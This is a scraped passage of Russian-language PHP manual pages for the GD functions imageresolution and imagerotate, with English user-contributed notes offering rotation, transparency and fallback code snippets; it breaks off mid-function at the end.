Lets not do it Mr Benson's way OK!

I'm sure if I had to draw a 10x10 grid on paper I wouldn't do it by drawing 100 individual squares, redrawing nearly half of the lines twice.

I'd probably do it by drawing 11 vertical lines and 11 horizontal lines.

function ImageGrid2(&$im,$startx,$starty,$width,$height,$xcols,$yrows,&$color) {
    $endy = $starty + $height * $yrows;
    for ( $x=0; $x <= $xcols; $x++ ) {
        $x1 = $startx + $width * $x;
        imageline ( $im, $x1, $starty, $x1, $endy, $color );
    }

    $endx = $startx + $width * $xcols;
    for ( $y=0; $y <= $yrows; $y++ ) {
     $y1 = $starty + $height * $y;
     imageline ( $im, $startx, $y1, $endx, $y1, $color );
    }
}
eustaquiorangel at yahoo dot com 17-Dec-2002 09:21
If you want an empty rectangle, I mean, just the borders, fill it first with the ImageFilledRectangle function with the background color and then draw it with this function.


Получить или установить разрешение изображения

  • « imagerectangle
  • imagerotate »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получить или установить разрешение изображения

imageresolution

(PHP 7 >= 7.2.0, PHP 8)

imageresolution — Получить или установить разрешение изображения

Описание

imageresolution(GdImage $image, ?int $resolution_x = null, ?int $resolution_y = null): array|bool

imageresolution() позволяет установить и получить разрешение изображения в DPI (точек на дюйм). Если необязательные параметры указаны как null, то будет возращено текущее разрешение в виде индексированного массива. Если только resolution_x не является null, для горизонтального и вертикального разрешения будет установлено это значение. Если все необязательные параметры не являются null, для горизонтального и вертикального разрешения устанавливаются эти значения соответственно.

Разрешение используется только как метаданные во время чтения или записи изображений в форматы, которые поддерживают этот вид данных (на данный момент это PNG и JPEG). Это никак не влияет на любые операции рисования. Разрешение по умолчанию для новых изображений — 96 DPI.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

resolution_x

Горизонтальное разрешение в DPI.

resolution_y

Вертикальное разрешение в DPI.

Возвращаемые значения

Когда используется для получения информации о разрешении изображения, в случае успешного выполнения возвращается индексированный массив с информацией о горизонтальном и вертикальном разрешении или false в случае возникновения ошибки. Когда используется для установки разрешения изображения, в случае успешного выполнения возвращается true или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | resolution_x и resolution_y теперь допускают значение null.

Примеры

Пример #1 Установка и получение разрешения изображения

<?php
$im = imagecreatetruecolor(100, 100);
imageresolution($im, 200);
print_r(imageresolution($im));
imageresolution($im, 300, 72);
print_r(imageresolution($im));
?>

Результат выполнения данного примера:

Array
(
    [0] => 200
    [1] => 200
)
Array
(
    [0] => 300
    [1] => 72
)

User Contributed Notes

fernando dot fonseca at afteryou dot pt 25-Jun-2021 02:59
It should be clear that the set version of the function doesn't change the image it self, just the resource in memory, which probably is fine if you didn't save the image yet. If your use case is for an image that is already on disk,  image you should always do something like:

imageresolution($img, 300, 300);
imagepng($img, $filname, $quality);


Поворот изображения с заданным углом

  • « imageresolution
  • imagesavealpha »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Поворот изображения с заданным углом

imagerotate

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

imagerotate — Поворот изображения с заданным углом

Описание

imagerotate(GdImage $image, float $angle, int $background_color): GdImage|false

Поворот изображения image на заданный угол angle в градусах.

Центром поворота является центр изображения. Поворачиваемое изображение может отличаться размером от оригинала.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

angle

Угол поворота в градусах против часовой стрелки.

background_color

Цвет фона свободной зоны после поворота.

Возвращаемые значения

Возвращает объект повёрнутого изображения в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.3.0 | Неиспользуемый параметр ignore_transparent был полностью удалён.
8.0.0 | В случае успешного выполнения функция теперь возвращает экземпляр GDImage; ранее возвращался ресурс (resource).
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
8.0.0 | Неиспользуемый v теперь ожидает логическое значение (bool); ранее ожидалось целое число (int).

Примеры

Пример #1 Поворот изображения на 180 градусов

Этот пример поворачивает изображения на 180 градусов - верхом вниз.

<?php
// Файл и угол поворота
$filename = 'test.jpg';
$degrees = 180;

// Тип содержимого
header('Content-type: image/jpeg');

// Загрузка изображения
$source = imagecreatefromjpeg($filename);

// Поворот
$rotate = imagerotate($source, $degrees, 0);

// Вывод
imagejpeg($rotate);

// Высвобождение памяти
imagedestroy($source);
imagedestroy($rotate);
?>

Результатом выполнения данного примера будет что-то подобное:

Пример выведет изображение повёрнутое на 180 градусов

Примечания

Замечание:

Данная функция подвержена влиянию метода интерполяции, установленным функцией imagesetinterpolation().

Смотрите также

  • imagesetinterpolation() - Устанавливает метод интерполяции

User Contributed Notes

shaun at slickdesign dot com dot au 29-Nov-2017 07:31
The angle in imagerotate() is the number of degrees to rotate the image anti-clockwise, but while it may seem natural to use '-90' to turn an image 90 degrees clockwise, the end result may appear on a slight angle, and may cause the rotated image to appear slightly blurred with a background or border. Excessively large angles may also present sampling issues.

The easiest way to prevent these, is to ensure all angles are between 0 and 360.

<?php
while ( $angle < 0 ) { $angle += 360; }
while ( $angle >= 360 ) { $angle -= 360; }

$rotated = imagerotate( $image, $angle, $color );
?>
TNTcode 09-Oct-2017 12:33
<?php

// auto rotates an image file based on exif data from camera
// if destination file is specified then it saves file there, otherwise it will display it to user
// note that images already at normal orientation are skipped (when exif data Orientation = 1)

if(!function_exists("gd_auto_rotate")){
    function gd_auto_rotate($original_file, $destination_file=NULL){

        $original_extension = strtolower(pathinfo($original_file, PATHINFO_EXTENSION));
        if(isset($destination_file) and $destination_file!=''){
            $destination_extension = strtolower(pathinfo($destination_file, PATHINFO_EXTENSION));
        }

        // try to auto-rotate image by gd if needed (before editing it)
        // by imagemagik it has an easy option
        if(function_exists("exif_read_data")){

            $exif_data = exif_read_data($original_file);
            $exif_orientation = $exif_data['Orientation'];

            // value 1 = normal ?! skip it ?!

            if($exif_orientation=='3'  or $exif_orientation=='6' or $exif_orientation=='8'){

                $new_angle[3] = 180;
                $new_angle[6] = -90;
                $new_angle[8] = 90;

                // load the image
                if($original_extension == "jpg" or $original_extension == "jpeg"){
                    $original_image = imagecreatefromjpeg($original_file);
                }
                if($original_extension == "gif"){
                    $original_image = imagecreatefromgif($original_file);
                }
                if($original_extension == "png"){
                    $original_image = imagecreatefrompng($original_file);
                }

                $rotated_image = imagerotate($original_image, $new_angle[$exif_orientation], 0);

                // if no destination file is set, then show the image
                if(!$destination_file){
                    header('Content-type: image/jpeg');
                    imagejpeg($rotated_image, NULL, 100);
                }

                // save the smaller image FILE if destination file given
                if($destination_extension == "jpg" or $destination_extension=="jpeg"){
                    imagejpeg($rotated_image, $destination_file,100);
                }
                if($destination_extension == "gif"){
                    imagegif($rotated_image, $destination_file);
                }
                if($destination_extension == "png"){
                    imagepng($rotated_image, $destination_file,9);
                }

                imagedestroy($original_image);
                imagedestroy($rotated_image);

            }
        }
    }
}

?>
xarris_ at hotmail dot com 06-Oct-2015 03:53
An issue with imagerotate() is it might need more memory than what is available. It was failing in my script so I tried to increase it with ini_set('memory_limit', '256M')
and everything works fine now.
meisterix at gmx dot com 16-Jul-2012 09:24
After some INet searches and personal try-and-failures I succeed to rotate PNG images with preserving alpha channel transparency (semi transparency).

<?php
    $filename = 'YourFile.png';
    $rotang = 20; // Rotation angle
    $source = imagecreatefrompng($filename) or die('Error opening file '.$filename);
    imagealphablending($source, false);
    imagesavealpha($source, true);

    $rotation = imagerotate($source, $rotang, imageColorAllocateAlpha($source, 0, 0, 0, 127));
    imagealphablending($rotation, false);
    imagesavealpha($rotation, true);

    header('Content-type: image/png');
    imagepng($rotation);
    imagedestroy($source);
    imagedestroy($rotation);
?>
henzeberkheij at gmail dot com 01-Jan-2012 02:27
Keep in mind this function rotates counterclockwise.  if you want to go 90 degrees clockwise, you have to tell imagerotate to go 270 degrees counter-clockwise.

$angle = 360-$angle;
Sam Yong - hellclanner at live dot com 27-Sep-2011 06:20
Note that the image resource returned from the imagerotate() function is an entirely different image resource from your original one.

<?php

$res = imagecreatetruecolor(100, 200);
$res2 = imagerotate($res, 90, 0);
var_dump($res, $res2);

?>

This will output:

resource(2, gd)
resource(3, gd)
kraeh at gmx dot net 21-Mar-2011 09:02
I had a problem with a png image containing transparent colors, but found a solution that works for me.
So i thought i might share it:

<?php
$angle=45;
$im=imagerotate($im, $angle, -1);
imagealphablending($im, true);
imagesavealpha($im, true);
?>
Leo 27-Aug-2010 06:32
// angle in degrees, clockwise, allowed values from 0 to 360 degrees
    function rotateImage ($image, $angle)
    {
        if ( ($angle < 0) || ($angle > 360) )
        {
            exit ("Error, angle passed out of range: [0,360]");
        }

        $width    = imagesx ($image);
        $height    = imagesy ($image);

        $dstImage = imagecreatetruecolor ($width, $height);

        if ( ($angle == 0) || ($angle == 360) )
        {
            // Just copy image to output:
            imagecopy ($dstImage, $image, 0, 0, 0, 0, $width, $height);
        }
        else
        {
            $centerX = floor ($width / 2);
            $centerY = floor ($height / 2);

            // Run on all pixels of the destination image and fill them:
            for ($dstImageX = 0; $dstImageX < $width; $dstImageX++)
            {
                for ($dstImageY = 0; $dstImageY < $height; $dstImageY++)
                {
                    // Calculate pixel coordinate in coordinate system centered at the image center:
                    $x = $dstImageX - $centerX;
                    $y = $centerY - $dstImageY;

                    if ( ($x == 0) && ($y == 0) )
                    {
                        // We are in the image center, this pixel should be copied as is:
                        $srcImageX = $x;
                        $srcImageY = $y;
                    }
                    else
                    {
                        $r = sqrt ($x * $x + $y * $y); // radius - absolute distance of the current point from image center

                        $curAngle = asin ($y / $r); // angle of the current point [rad]

                        if ($x < 0)
                        {
                            $curAngle = pi () - $curAngle;
                        }

                        $newAngle = $curAngle + $angle * pi () / 180; // new angle [rad]

                        // Calculate new point coordinates (after rotation) in coordinate system at image center
                        $newXRel = floor ($r * cos ($newAngle));
                        $newYRel = floor ($r * sin ($newAngle));

                        // Convert to image absolute coordinates
                        $srcImageX = $newXRel + $centerX;
                        $srcImageY = $centerY - $newYRel;
                    }

                    $pixelColor = imagecolorat  ($image, $srcImageX, $srcImageY); // get source pixel color

                    imagesetpixel ($dstImage, $dstImageX, $dstImageY, $pixelColor); // write destination pixel
                }
            }
        }

        return $dstImage;
    }
xavtak at gmail dot com 25-Aug-2010 08:38
I've benchmarked three methods described here for rotating an image.

I used a 1600 x 1200 jpeg picture that was duplicated ten times on the disk. I looped through them to apply a CW rotation using either method.

First algorithm (the "imagesetpixel" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
            {
                $ref = imagecolorat($image, $i, $j);
                imagesetpixel($result, ($h - 1) - $j, $i, $ref);
            }
    }
    return $result;
}
?>

Second algorithm (the "imagecopy" algorithm):
<?php
function CWRotation($image)
{
    $w = imagesx($image);
    $h = imagesy($image);
    $result = @imagecreatetruecolor($h, $w);
    if($result)
    {
        for ($i = 0; $i < $w; $i++)
            for ($j = 0; $j < $h; $j++)
                imagecopy($result, $image, ($h - 1) - $j, $i, $i, $j, 1, 1);
    }
    return $result;
}
?>

Third algorithm (the "imagerotate" algorithm):
<?php
function CWRotation($image)
{
    return imagerotate($image, 270, 0);
}
?>

In each step of the loop, the image is loaded, rotated then a copy is written on the disk.

Here are the results:
imagesetpixel algorithm: the 10 pictures were processed in 29 seconds
imagecopy algorithm: the 10 pictures were processed in 26 seconds
imagerotate algorithm: the 10 pictures were processed in 2 seconds (no typo here)

Writing the pictures on the disk allowed me to control the results. Every resulting picture was the same (tested with winmerge).

Conclusion: imagerotate is way faster than other "home-made" algorithms.
I ran the tests several times to see if the difference between imagesetpixel and imagecopy was introduced by my computer's independent activity, but I always got that 10% difference.

Note: the picture I used was taken from a camera, so no transparency was involved.
I ran the tests on Windows XP using PHP Version 5.3.0
kmrohe at letsco dot de 05-Mar-2010 03:00
As an alternative to the GD rotateImage() function, this is an easy way to rotate images by 90 degrees ccw *without* loosing transparency:

<?php

  function rotateImage($image) {
      $width = imagesx($image);
      $height = imagesy($image);
      $newImage= imagecreatetruecolor($height, $width);
      imagealphablending($newImage, false);
      imagesavealpha($newImage, true);
      for($w=0; $w<$width; $w++)
          for($h=0; $h<$height; $h++) {
              $ref = imagecolorat($image, $w, $h);
              imagesetpixel($newImage, $h, ($width-1)-$w, $ref);
          }
      return $newImage;
  }

?>
c kelley at ca - cycleworks dot com 20-Feb-2010 02:59
Note, of the rotate functions below, only beau's worked for me. Not sure if it is because of my source image, but upon rotating, the background became blue.

The code snippet below is what I used to prepare UPS shipping labels. The UPS xml api will return a base64 encoded gif, but it is sideways, so as to print on the top half of a 8.5x11 "letter" page. We are saving it in a database and sending it to a label printer, so needed it rotated...

The other code further down didn't make the background blue, however it did make the image leave the canvas by about 50%. Additionally, the imagecolorallocate() function has an example describing how to set the background color. That didn't work for me. Even though the blue BG is #0000ff, using that code didn't work, I had to use the transparent trick below.

The GD image functions may be in their infancy, however are a great reminder to me how powerful php is! Also, ubuntu apache users will need to apt-get install php5-gd to get the gd functions.

<?php
        $image=imagecreatefromgif( 'data://text/plain;base64,'.$this->shipmentLabelGraphicImage );
        $image=$this->rotateImage($image, 90); // Note: rotateImage turns our background to blue!
        $blue = imagecolorallocate($image, 0, 0, 255);
        imagecolortransparent($image, $blue);    // make blue transparent, so image isn't goofy
        imagepng($image,$this->shipmentTrackingNumber.".png");
        echo '<P><img src="'.$this->shipmentTrackingNumber.'.png"></P>';
        imagedestroy($image);
?>
dev at imglib dot endofinternet dot net 25-Aug-2009 03:15
And you can add a transparent background to you png image by change the
<?php
    if ($ignore_transparent == 0) {
        imagefill($destimg, 0, 0, imagecolorallocatealpha($destimg, 255,255, 255, 127));
        imagesavealpha($destimg, true);
    }
?>
to
<?php
    if ($ignore_transparent == 0) {
        $temp = imagecolorallocatealpha($destimg, 255,255, 255, 127);
        imagefill($destimg, 0, 0, $temp);
        //if set the default color or white or magic pink then use transparent color
        if ( ($bgcolor == 0) || ($bgcolor == 16777215) || ($bgcolor == 16711935) )  {
            $bgcolor = $temp;
        }
        imagesavealpha($destimg, true);
    }
?>
sjef at bosman dot fr 09-Aug-2009 09:28
I wanted to draw a transparent GIF-image and show it on a page, at an angle specified in the URL:
<img src="image.php?angle=90" type="image/gif">

I used the native imagerotate() but at angles of 90, 180, etc. the old background colour would become non-transparent. Apparently, there's a bug somewhere in GD, and has been for ages.

My solution below:

<?php
$height = 100;
$width = 100;
$lsize= $width/2;
$angle= $_GET["angle"];

// avoid the bug:
if(($angle%90)==0)
  $angle+= 0.001;

$image_p = imagecreatetruecolor($width, $height);
$trans = imagecolorallocate($image_p, 254, 0, 0);
imagefill($image_p, 0, 0, $trans);
imagecolortransparent($image_p, $trans);

$black = imagecolorallocate($image_p, 1, 1, 1);
$red = imagecolorallocate($image_p, 255, 0, 0);
$white = imagecolorallocate($image_p, 255, 255, 255);

// draw something here
imageline($image_p, 3, $lsize, $lsize/2, $lsize, $black);

$image_r= imagerotate($image_p, -$angle, $trans, 0);
$w= imagesx($image_r);
$h= imagesy($image_r);
$image_s = imagecreatetruecolor($width, $height);
imagecopyresized($image_s, $image_r, 0, 0, ($w-$width)/2, ($h-$height)/2, $width, $height, $width, $height);
$trans = imagecolorallocate($image_s, 254, 0, 0);
imagecolortransparent($image_s, $trans);
imagegif($image_s);
?>
gglockner AT NOSPAMdwaffler DOT com 23-Jul-2009 12:36
If you're going to do a rotation by hand instead of using the imagerotate function, you can use the imagecopy function to copy a single pixel instead of determining the pixel color and setting the pixel.  Not only is this shorter and cleaner, but it also works with images that are not truecolor (on my system, imagecolorat fails with an image that is not truecolor).
Anonymous 25-Jun-2009 05:32
Sorry, the previous class contains an error, the original image after the rotation 1px move on and get the unwanted "border".

After a careful reading of the local debate, I am using the tip from Dave Richards wrote a new function. With its images can be rotated only 90 ° (default), 180 ° and 270 °, but one rarely needs more ...

The function returns False, or rotated image
<?php
if(!function_exists("imagerotate")) {
    function imagerotate($srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return rotateImage($srcImg, $angle);
    }
}

function rotateImage($img1, $rec) {
    $wid = imagesx($img1);
    $hei = imagesy($img1);
    switch($rec) {
        case 270:
            $img2 = @imagecreatetruecolor($hei, $wid);
        break;
        case 180:
            $img2 = @imagecreatetruecolor($wid, $hei);
        break;
        default :
            $img2 = @imagecreatetruecolor($hei, $wid);
    }
    if($img2) {
        for($i = 0;$i < $wid; $i++) {
            for($j = 0;$j < $hei; $j++) {
                $ref = imagecolorat($img1,$i,$j);
                switch($rec) {
                    case 270:
                        if(!@imagesetpixel($img2, ($hei - 1) - $j, $i, $ref)){
                            return false;
                        }
                    break;
                    case 180:
                        if(!@imagesetpixel($img2, $i, ($hei - 1) - $j, $ref)) {
                            return false;
                        }
                    break;
                    default:
                        if(!@imagesetpixel($img2, $j, ($wid - 1) - $i, $ref)) {
                            return false;
                        }
                }
            }
        }
        return $img2;
    }
    return false;
}
?>

Petr
Mike Knoop 24-Jun-2009 02:25
Don't be tricked into thinking this function will rotate the image resource handle in-place. While the documentation currently doesn't specify and return values, I've found the following return values to be true:

"Returns an image resource identifier on success, FALSE on errors. "

Simply make sure you're doing something like...
<?php
$rotated_img = imagerotate($src_img, 45, $color)
?>

-Mike
krteczek01 at gmail dot com 23-Jun-2009 03:21
Hi, I've rewrote function to class with static methods. Advantage of this solution is ability to be called several times during script execution.

<?php
/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/

if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent::rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

class imagerotateEquivalent {

    static private function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }

    static private function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    public static function rotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {

        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Calculate the width of the destination image.
        $temp = array (    self::rotateX(0,     0, 0-$theta),
                        self::rotateX($srcw, 0, 0-$theta),
                        self::rotateX(0,     $srch, 0-$theta),
                        self::rotateX($srcw, $srch, 0-$theta)
                    );
        $minX = floor(min($temp));
        $maxX = ceil(max($temp));
        $width = $maxX - $minX;

        // Calculate the height of the destination image.
        $temp = array (    self::rotateY(0,     0, 0-$theta),
                        self::rotateY($srcw, 0, 0-$theta),
                        self::rotateY(0,     $srch, 0-$theta),
                        self::rotateY($srcw, $srch, 0-$theta)
                    );
        $minY = floor(min($temp));
        $maxY = ceil(max($temp));
        $height = $maxY - $minY;

        $destimg = imagecreatetruecolor($width, $height);
        imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

        // sets all pixels in the new image
        for($x=$minX;$x<$maxX;$x++) {
            for($y=$minY;$y<$maxY;$y++)
            {
                // fetch corresponding pixel from the source image
                $srcX = round(self::rotateX($x, $y, $theta));
                $srcY = round(self::rotateY($x, $y, $theta));
                if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
                {
                    $color = imagecolorat($srcImg, $srcX, $srcY );
                }
                else
                {
                    $color = $bgcolor;
                }
                imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
            }
        }
        return $destimg;
    }
}

?>
anon at here dot com 13-Jun-2009 01:00
I was quite surprised to see that no one had done any working rotate function. And since I needed one for my web hotel, I whipped this one up. Someone might want to expand it so that it matches imagerotate.

Also, does imagerotate really rotate things counter clockwise? Otherwise this should also be changed.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0) {
        return imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent);
    }
}

/*
    Unfinished imagerotate replacement. ignore_transparent is, well, ignored. :)
    Also, should have some standard functions for 90, 180 and 270 degrees, since they are quite
    easy to implement faster.
*/
function imagerotateEquivalent(&$srcImg, $angle, $bgcolor, $ignore_transparent = 0)
{
    function rotateX($x, $y, $theta){
        return $x * cos($theta) - $y * sin($theta);
    }
    function rotateY($x, $y, $theta){
        return $x * sin($theta) + $y * cos($theta);
    }

    $srcw = imagesx($srcImg);
    $srch = imagesy($srcImg);

    if($angle == 0) return $srcImg;

    // Convert the angle to radians
    $theta = deg2rad ($angle);

    // Calculate the width of the destination image.
    $temp = array (    rotateX(0,     0, 0-$theta),
                    rotateX($srcw, 0, 0-$theta),
                    rotateX(0,     $srch, 0-$theta),
                    rotateX($srcw, $srch, 0-$theta)
                );
    $minX = floor(min($temp));
    $maxX = ceil(max($temp));
    $width = $maxX - $minX;

    // Calculate the height of the destination image.
    $temp = array (    rotateY(0,     0, 0-$theta),
                    rotateY($srcw, 0, 0-$theta),
                    rotateY(0,     $srch, 0-$theta),
                    rotateY($srcw, $srch, 0-$theta)
                );
    $minY = floor(min($temp));
    $maxY = ceil(max($temp));
    $height = $maxY - $minY;

    $destimg = imagecreatetruecolor($width, $height);
    imagefill($destimg, 0, 0, imagecolorallocate($destimg, 0,255, 0));

    // sets all pixels in the new image
    for($x=$minX;$x<$maxX;$x++) {
        for($y=$minY;$y<$maxY;$y++)
        {
            // fetch corresponding pixel from the source image
            $srcX = round(rotateX($x, $y, $theta));
            $srcY = round(rotateY($x, $y, $theta));
            if($srcX >= 0 && $srcX < $srcw && $srcY >= 0 && $srcY < $srch)
            {
                $color = imagecolorat($srcImg, $srcX, $srcY );
            }
            else
            {
                $color = $bgcolor;
            }
            imagesetpixel($destimg, $x-$minX, $y-$minY, $color);
        }
    }

    return $destimg;
}
?>
dave dot richards at gmail dot com 17-Apr-2009 04:47
There is a slight mistake in the previous post by Kae Cyphet.

When setting the pixels of the new image the co-ordinates have to occasionally use the width ($wid) and height ($hei). These values must be reduced by 1 as the co-ordinates start at 0 (Not 1) so they only go up to $wid - 1 and $hei - 1 (Not $wid and $hei).

Here's an example of the first function to show this:

<?php
function rotate_right90($im)
{
 $wid = imagesx($im);
 $hei = imagesy($im);
 $im2 = imagecreatetruecolor($hei,$wid);

 for($i = 0;$i < $wid; $i++)
 {
  for($j = 0;$j < $hei; $j++)
  {
   $ref = imagecolorat($im,$i,$j);
   imagesetpixel($im2,($hei - 1) - $j,$i,$ref);
  }
 }
 return $im2;
}
?>

Other than that very useful functions!
joseluis at pellicer dot org 01-Dec-2008 08:14
About that rotating function by david at horizon-nigh not working, I found the bug.
I noticed that the x1 and y1 where not used, so, in the loop through every pixel and transform it, change

$x2 = $x * cos($theta) - $y * sin($theta);
$y2 = $x * sin($theta) + $y * cos($theta);

to:

$x2 = $x1 * cos($theta) - $y1 * sin($theta);
$y2 = $x1 * sin($theta) + $y1 * cos($theta);
fernando_empresarial at ig dot com dot br 13-Nov-2008 04:52
<?php
$urlImage = "images/image.png";
$urlNewImage = "images/imageNew.png";

$src_img = imagecreatefrompng($urlImage);
$originalX = imagesx($src_img);
$originalY = imagesy($src_img);
$dst_img = imagecreatetruecolor(640,480);

$imageRotate = imagerotate($src_img,20,-1);

imagepng($imageRotate,$urlNewImage);
imagedestroy($dst_img);
imagedestroy($src_img);
?>
foi02 at cartefoi dot net 01-Oct-2008 07:50
For those who are looking for the GD library for Ubuntu, I let a copy on my server:  http://www.cartefoi.net/compl_compl_2.php
It was pretty hard to find, somebody gaveme his. Thanks a lot to him (message up).
Bert Vandeghinste 20-Sep-2008 07:17
I'm now using david's code with these changes to get a transparent effect.

I exec convert 2 times:

<?php
exec( $imagick . ' -background \'#555555\' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );
exec( $imagick . ' -transparent \'#555555\' -transparent-color \'#555555\' ' . $file2 . ' ' . $file3 );
?>

and then use this after I rotated $output:
<?php imagecolortransparent($output, imagecolorallocatealpha($output, 85, 85, 85, 127)); ?>
david at horizon-nigh dot org 12-Sep-2008 09:06
I couldn't get the replacements from 'the dot thawk' or 'pilot' to work for some reason, so here's my own replacement. It uses ImageMagick; binary must be installed, and you may need to modify the search path. (I didn't use PHP's ImageMagick support for my own reasons.)

<?php
    /**
     * imagerotate()
     * Debian php5-gd packages do not include imagerotate() due to some convoluted reason.
     *
     * @param int $angle - same as PHP builtin function
     * @param $bgd_color - not implemented, apparently always #FFFFFF
     *
     * @return same as PHP builtin function
     */
    if ( !function_exists( 'imagerotate' ) ) {

        function imagerotate( $source_image, $angle, $bgd_color ) {

            $angle = 360-$angle; // GD rotates CCW, imagick rotates CW

            foreach ( array( '/usr/bin', '/usr/local/bin', '/opt/local/bin', '/sw/bin' ) as $path ) {

                if ( file_exists( $path . '/convert' ) ) {
                    $imagick = $path . '/convert';
                    if ( $path == '/opt/local/bin' ) {
                        $imagick = 'DYLD_LIBRARY_PATH="" ' . $imagick; // some kind of conflict with MacPorts and MAMP
                    }
                    break;
                }

            }

            if ( !isset( $imagick ) ) {

                //trigger_error( 'imagerotate(): could not find imagemagick binary, original image returned', E_USER_WARNING );
                return $source_image;

            }

            $file1 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';
            $file2 = '/tmp/imagick_' . rand( 10000,99999 ) . '.png';

            if ( @imagepng( $source_image, $file1 ) ) {

                exec( $imagick . ' -rotate ' . $angle . ' ' . $file1 . ' ' . $file2 );

                if ( file_exists( $file2 ) ) {

                    $new_image = imagecreatefrompng( $file2 );
                    unlink( $file1 );
                    unlink( $file2 );
                    return $new_image;

                } else {

                    //trigger_error( 'imagerotate(): imagemagick conversion failed, original image returned', E_USER_WARNING );
                    return $source_image;

                }

            } else {

                //trigger_error( 'imagerotate(): could not write to ' . $file1 . ', original image returned', E_USER_WARNING );
                return $source_image;

            }

        }

    }
?>
AJenbo 26-Aug-2008 01:45
I modified cbl25's function to allow it to rotate an image either clock wise or counter clock wise.

<?php
function rotateImage($image, $direction) {
    $direction = strtolower($direction);
    $degrees = $direction == 'cw' ? 270 : ($direction == 'ccw' ? 90 : NULL);
    if(!$degrees)
        return $image;
    $width = imagesx($image);
    $height = imagesy($image);
    $side = $width > $height ? $width : $height;
    $imageSquare = imagecreatetruecolor($side, $side);
    imagecopy($imageSquare, $image, 0, 0, 0, 0, $width, $height);
    imagedestroy($image);
    $imageSquare = imagerotate($imageSquare, $degrees, 0, -1);
    $image = imagecreatetruecolor($height, $width);
    $x = $degrees == 90 ? 0 : ($height > $width ? 0 : ($side - $height));
    $y = $degrees == 270 ? 0 : ($height < $width ? 0 : ($side - $width));
    imagecopy($image, $imageSquare, 0, 0, $x, $y, $height, $width);
    imagedestroy($imageSquare);
    return $image;
}

//Usage
$image = rotateImage($image, 'cw');
$image = rotateImage($image, 'ccw');
?>
cbl25 19-Aug-2008 07:29
Here is a simple function to rotate a non-square image 90 degrees clockwise.

<?php
function rotateImage($imageResource)
{
    $width = imagesx($imageResource);
    $height = imagesy($imageResource);
    $side = $width > $height ? $width : $height;
    $squareImage = imagecreatetruecolor($side, $side);
    imagecopy($squareImage,$imageResource,0,0,0,0,$width,$height);
    $squareImage = imagerotate($squareImage,270,0,-1);
    $imageResource = imagecreatetruecolor($height, $width);
    $x = $height > $width ? 0 : $side - $height;
    imagecopy($imageResource,$squareImage,0,0,$x,0,$height,$width);
    return $imageResource;
}
?>
the dot thawk+phpnet at gmail dot com 16-Jul-2008 08:44
In response to pilot at myupb dot com on 31-May-2008 02:23
---

I am not sure why you would be defining your own PI, instead of using the built-in constant, and why you do the degrees to radian conversion manually. There might be a speed issue, however here is the exact same code with that small difference.

<?php
if(!function_exists("imagerotate")) {
    function imagerotate(&$srcImg, $angle, $transparentColor = null) {
        $srcw = imagesx($srcImg);
        $srch = imagesy($srcImg);

        if($angle == 0) return $srcImg;

        // Convert the angle to radians
        $theta = deg2rad ($angle);

        // Get the origin (center) of the image
        $originx = $srcw / 2;
        $originy = $srch / 2;

        // The pixels array for the new image
        $pixels = array();
        $minx = 0;
        $maxx = 0;
        $miny = 0;
        $maxy = 0;
        $dstw = 0;
        $dsth = 0;

        // Loop through every pixel and transform it
        for($x=0;$x<$srcw;$x++) {
            for($y=0;$y<$srch;$y++) {
                list($x1, $y1) = translateCoordinate($originx, $originy, $x, $y, false);

                $x2 = $x * cos($theta) - $y * sin($theta);
                $y2 = $x * sin($theta) + $y * cos($theta);

                // Store the pixel color
                $pixels[] = array($x2, $y2, imagecolorat($srcImg, $x, $y));

                // Check our boundaries
                if($x2 > $maxx) $maxx = $x2;
                if($x2 < $minx) $minx = $x2;
                if($y2 > $maxy) $maxy = $y2;
                if($y2 < $miny) $miny = $y2;
            }
        }

        // Determine the new image size
        $dstw = $maxx - $minx + 1;
        $dsth = $maxy - $miny + 1;

        // Create our new image
        $dstImg = imagecreatetruecolor($dstw, $dsth);

        // Fill the background with our transparent color
        if($transparentColor == null) $transparentColor = imagecolorallocate($dstImg, 1, 2, 3);
        imagecolortransparent($dstImg, $transparentColor);
        imagefilledrectangle($dstImg, 0, 0, $dstw + 1, $dsth + 1, $transparentColor);

        // Get the new origin
        $neworiginx = -$minx;
        $neworiginy = -$miny;

        // Fill in the pixels
        foreach($pixels as $data) {
            list($x, $y, $color) = $data;
            list($newx, $newy) = translateCoordinate($neworiginx, $neworiginy, $x, $y);
            imagesetpixel($dstImg, $newx, $newy, $color);
        }

        return $dstImg;
    }

    /**
     * Translates from mathematical coordinate system to computer coordinate system using
     * origin coordinates from the computer system or visa versa
     *
     * @param int $originx
     * @param int $originy
     * @param int $x
     * @param int $y
     * @param bool $toComp
